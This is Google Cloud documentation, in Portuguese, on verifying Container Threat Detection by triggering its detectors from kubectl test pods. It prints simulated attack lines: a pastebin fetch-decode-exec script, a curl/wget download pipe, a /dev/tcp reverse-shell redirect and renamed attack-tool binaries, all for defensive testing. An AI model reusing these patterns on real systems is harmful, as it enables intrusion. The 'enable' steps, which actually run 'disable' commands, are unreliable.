Como testar o Container Threat Detection

Nesta página, explicamos como verificar se o Container Threat Detection está funcionando por meio do acionamento intencional de detectores e da verificação de descobertas. O Container Threat Detection é um serviço integrado dos níveis Premium e Enterprise do Security Command Center. Para ver as descobertas do Container Threat Detection, é preciso ativá-la nas configurações de Serviços do Security Command Center.

Antes de começar

Para detectar possíveis ameaças aos contêineres, verifique se os clusters estão em uma versão compatível do Google Kubernetes Engine (GKE). Para mais informações, consulte Como usar uma versão compatível do GKE.

Ativar detectores

Os detectores Added Binary Executed e Added Library Loaded são desativados por padrão. Para testar esses detectores, é necessário ativá-los explicitamente:

  1. Verifique o status do detector:

    export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

  2. Ative o detector Added Binary Executed:

    gcloud alpha scc settings services modules disable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

  3. Ative o detector Added Library Loaded:

    gcloud alpha scc settings services modules disable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Defina as variáveis de ambiente

Para testar os detectores, use o Console do Google Cloud e o Cloud Shell. É possível definir variáveis de ambiente no Cloud Shell para facilitar a execução de comandos. As variáveis a seguir são usadas para testar todos os detectores do Container Threat Detection.

  1. Acesse o Console do Google Cloud.

    Acesse o Console do Google Cloud

  2. Selecione o projeto que contém o contêiner que você quer usar.

  3. Clique em Ativar o Cloud Shell.

  4. No Cloud Shell, defina as variáveis de ambiente:

    1. A zona em que seu cluster está:

      export ZONE=CLUSTER_ZONE

    2. O projeto em que o contêiner está:

      export PROJECT=PROJECT_ID

    3. O nome do cluster:

      export CLUSTER_NAME=CLUSTER_NAME

As variáveis são definidas. As seções a seguir incluem instruções para testar detectores do Container Threat Detection.

Adição de binário executado

Para acionar uma descoberta de adição de binário executado, solte um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local e o executa. A execução do binário é inesperada porque a cópia do binário não fazia parte da imagem do contêiner original, mesmo quando essa imagem estava no Ubuntu 24.04, e os contêineres são imutáveis.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Solte um binário e execute-o:

    • Nó x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

    • Nó ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Este procedimento de teste criará uma descoberta executada em binário que você possa ver no Security Command Center e no Cloud Logging se tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas executadas em binário. Para ver todas as descobertas executadas binárias adicionadas enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Adição de biblioteca carregada

Para acionar uma adição de biblioteca carregada, solte uma biblioteca no contêiner e carregue-a. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /lib/x86_64-linux-gnu/libc.so.6 para outro local e, em seguida, carrega usando ld. A biblioteca carregada é inesperada porque a cópia da biblioteca não fazia parte da imagem do contêiner original, mesmo que essa imagem estivesse no Ubuntu 24.04 e os contêineres fossem imutáveis.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Solte uma biblioteca e use ld para carregá-la:

    • Nó x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

    • Nó ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Esse procedimento de teste criará uma biblioteca adicionada carregada que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.

Para a redução de ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas carregadas na biblioteca. Para consultar todas as descobertas adicionadas carregadas na biblioteca enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execução: adição de binário malicioso executado

Para acionar uma execução: adição de descoberta de binário malicioso executado, solte um binário malicioso no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, cria um arquivo malicioso simulado e o executa. A execução do binário é inesperada porque o binário malicioso simulado não fazia parte da imagem do contêiner original, e o binário é um arquivo de teste EICAR, classificado como malicioso pela inteligência de ameaças.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Solte o binário EICAR e execute-o:

    • Nó x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

    • Nó ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Este procedimento de teste criará uma execução: adição de descoberta de binário malicioso que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas de execução: adição de binário malicioso executado. Para conferir todas as descobertas de execução: adição de descobertas de binário malicioso executado enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execução: escape de contêiner

Para acionar uma descoberta de execução: escape de contêiner, coloque um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local, renomeia para uma ferramenta suspeita (botb-linux-amd64) e a executa com argumentos adicionais. Essa ação é considerada suspeita porque a execução simula um comportamento consistente com uma tentativa de escape do contêiner.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Solte um binário da ferramenta de exploração de contêineres, como botb-linux-amd64, e execute-o:

    • Nó x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

    • Nó ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Este procedimento de teste cria uma descoberta de execução: escape de contêiner que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection pode filtrar temporariamente as descobertas de execução: escape do contêiner. Para conferir todas as descobertas de execução: escape de contêiner enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execução: execução da ferramenta de ataque do Kubernetes

Para acionar uma descoberta de execução: execução de ferramenta de ataque do Kubernetes, coloque um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local, renomeia para uma ferramenta suspeita (amicontained) e a executa. Essa ação é considerada suspeita porque simula um comportamento consistente com uma possível tentativa de execução de uma ferramenta de ataque do Kubernetes.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Solte um binário da ferramenta Kubernetes Attack, como amicontained, e execute-o:

    • Nó x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

    • Nó ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Este procedimento de teste cria uma descoberta de execução: execução de ferramenta de ataque do Kubernetes que pode ser visualizada no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection pode filtrar temporariamente as descobertas de execução: execução de ferramentas de ataque do Kubernetes. Para conferir todas as descobertas de execução: execução da ferramenta de ataque do Kubernetes enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execução: execução da ferramenta de reconhecimento local

Para acionar uma descoberta de execução: execução de ferramenta de reconhecimento local, coloque um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local, renomeia para uma ferramenta suspeita (linenum.sh) e a executa. Essa ação é considerada suspeita porque a execução do binário renomeado simula um comportamento consistente com uma tentativa de reconhecimento local.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Solte um binário da ferramenta de reconhecimento local, como linenum.sh, e execute-o:

    • Nó x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

    • Nó ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Este procedimento de teste cria uma descoberta de execução: execução de ferramenta de reconhecimento local que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection pode filtrar temporariamente as descobertas de execução: execução da ferramenta de reconhecimento local. Para consultar todas as descobertas da execução: execução da ferramenta de reconhecimento local enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execution: Malicious Python executed

Para acionar uma descoberta de Execution: Malicious Python executed, execute o Python no procedimento a seguir no contêiner.

O procedimento implanta a imagem mais recente do Python, copia o código Python que parece malicioso e o executa. Para acionar uma detecção, o código Python precisa aparecer como malicioso para o detector.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Execute o script a seguir em um novo contêiner.

    Este código Python foi originado de um honeypot. No entanto, ele foi modificado para não executar o binário malicioso. A execução do script não causa atividade maliciosa no contêiner. O binário no URL referenciado não existe, e a tentativa de seguir o URL resulta em um erro 404. Isso já é esperado. A tentativa de fazer o download, de decodificar e de executar um binário usando um script inline é o que aciona a detecção.

    • Nó x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

    • Nó ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Este procedimento de teste cria uma descoberta Execution: Malicious Python executed que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: binário malicioso modificado executado

Para acionar uma descoberta de execução: binário malicioso modificado executado, modifique e execute um binário malicioso no contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, modifica /bin/ls para um arquivo malicioso de teste EICAR e o executa. A execução do binário é inesperada porque o /bin/ls criado é modificado durante o tempo de execução do contêiner como um binário malicioso de teste EICAR, e o binário EICAR é um arquivo malicioso conhecido de acordo com a inteligência de ameaças.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Solte o binário EICAR e execute-o:

    • Nó x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

    • Nó ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Este procedimento de teste criará uma execução: descoberta de binário malicioso modificado executado que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas de execução: execução de binário malicioso modificado. Para conferir todas as descobertas de execução: modificado malicioso binário executado enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Script malicioso executado

Para acionar uma descoberta de script malicioso, execute o script no procedimento a seguir no seu contêiner.

O procedimento implanta a imagem mais recente do Ubuntu 24.04, copia um script que parece malicioso e o executa. Para acionar uma detecção, um script precisa aparecer como malicioso para o detector.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Execute o script a seguir em um novo contêiner.

    Este script inline do shell Bourne foi originado de um honeypot. No entanto, ele foi modificado para não executar o binário malicioso. Portanto, a execução do script não causará atividade maliciosa no contêiner. O binário no URL referenciado pode ter sido removido, e a tentativa de seguir o URL resultará em um erro 404. Isso já é esperado. A tentativa de fazer o download, de decodificar e de executar um binário usando um script inline é o que aciona a detecção.

    • Nó x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

    • Nó ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Este procedimento de teste cria uma descoberta de script malicioso executado que você pode ver no Security Command Center e no Cloud Logging se tiver configurado a geração de registros para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

URL malicioso observado

Para acionar uma descoberta de URL malicioso observado, execute um binário e forneça um URL malicioso como um argumento.

O exemplo a seguir implanta uma imagem do Ubuntu 24.04 e executa /bin/curl para acessar um exemplo de URL de malware do serviço Navegação segura.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Execute curl e forneça um URL malicioso como um argumento:

    • Nó x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

    • Nó ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Este procedimento de teste aciona uma descoberta de URL malicioso observado que você pode ver no Security Command Center e, se você tiver configurado o Logging para o Container Threat Detection, no Cloud Logging. A visualização das descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.

Shell reverso

Para acionar uma descoberta de shell reverso, inicie um binário com redirecionamento stdin para um soquete conectado TCP. Este exemplo copia /bin/echo para /tmp/sh e, em seguida, inicia /tmp/sh com redirecionamento para o DNS público do Google 8.8.8.8 na porta DNS. Nada é impresso quando você executa este exemplo. Para evitar qualquer injeção de código externo por meio de um ataque intermediário (MITM), este exemplo não usa o binário /bin/sh.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Inicie um binário com redirecionamento /bin/echo para o DNS público do Google:

    • Nó x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

    • Nó ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Este procedimento de teste criará uma descoberta de shell reverso que pode ser vista no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.

Shell filho inesperado

Para testar o detector Unexpected Child Shell, crie uma árvore de processos que inclua um processo de shell filho.

O exemplo a seguir cria uma árvore de processo consul->dash, que pode ser detectada pelo detector Unexpected Child Shell. Esse teste é seguro porque usa apenas binários integrados. Este exemplo faz o seguinte:

  1. Cria uma cópia do processo sh e a nomeia como consul.
  2. Copia o processo echo e o nomeia como dash.
  3. Invoca o processo dash copiado no processo consul copiado.

Para acionar uma descoberta de Unexpected Child Shell, faça o seguinte:

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Use o processo consul simulado para invocar um shell simulado:

    • Nó x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag"
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

    • Nó ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Esse procedimento de teste cria uma descoberta Unexpected Child Shell que pode ser visualizada no Security Command Center. Se o Logging estiver configurado para o Container Threat Detection e você tiver o Security Command Center Premium ou Enterprise ativado no nível da organização, também será possível conferir a descoberta no Cloud Logging.

A seguir